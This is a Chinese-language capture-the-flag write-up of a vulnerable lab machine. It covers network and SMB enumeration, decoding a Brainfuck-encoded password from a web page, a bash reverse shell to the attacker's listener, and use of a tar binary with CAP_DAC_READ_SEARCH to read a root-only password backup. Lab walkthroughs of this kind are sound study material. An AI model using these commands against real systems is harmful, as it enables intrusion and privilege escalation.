0x01 靶机信息
0x02 Write-Up
2.1 主机扫描
nbtscan -r 192.168.181.0/24
扫描到目标ip:192.168.181.141
2.2 扫描目标服务端口
amap -Aq 192.168.181.141 1-65535
-A 启用主机发现和操作系统版本检测功能,-q 不返回失败信息
发现目标机开放了80,10000,20000,139,445端口
对应开放的服务:http,smb,mysql
2.3 访问网站
80端口是服务器默认页面
访问10000端口,提示用https
10000端口是一个管理平台登录页面
20000端口同理https访问,也是一个管理页面
观察index.html默认页面
查看源代码,发现了一条密文
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
翻译:不用担心没有人会到达这里,与您分享我的访问权限是安全的。它是加密的:)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
将这段brainfuck加密的密文解密
.2uqPEfj3D<P'a-3
根据之前源代码中提到的分享权限,可以判断这是一个访问权限的密码
我们还差一个用户名,可以利用开放的smb服务尝试扫描
2.4 enum4linux 扫描smb服务
enum4linux -Ur 192.168.181.141
-U 列举用户,-r RID循环枚举用户
得到用户名cyber
利用用户cyber,密码.2uqPEfj3D<P'a-3登录
登录失败
尝试20000端口的管理页面,登录成功
在页面下方发现了终端图标
获得终端
2.5 反弹shell
nc -lvvp 4444
kali开启侦听4444端口
目标机反弹shell
bash -i >& /dev/tcp/192.168.181.136/4444 0>&1
查看目录,发现user.txt文件
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
翻译:你设法破坏了我的安全访问
这是cyber用户的flag
查看目录下文件权限,发现可执行文件tar,用getcap进一步查看权限
getcap tar
查看文件的capabilities(能力)
查看后发现文件拥有CAP_DAC_READ_SEARCH(忽略文件读及目录搜索的DAC访问限制)
意思是我们可以用tar来获取读取权限
查找敏感文件
find / -name "*pass*" 2>/dev/null
在/var/backups目录下发现.old_pass.bak文件
只有root用户有权限
2.6 利用tar命令的功能属性读取文件
./tar -cf passwd.tar /var/backups/.old_pass.bak
./tar利用家目录那个有权的tar命令执行,-c创建,-f指定文件
tar -xf passwd.tar
-x 解压,-f 指定文件
发现密码Ts&4&YurgtRX(=~h
2.7 提权
利用获取的密码登录root
成功获取最终flag
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}
翻译:恭喜你成功逃离我的系统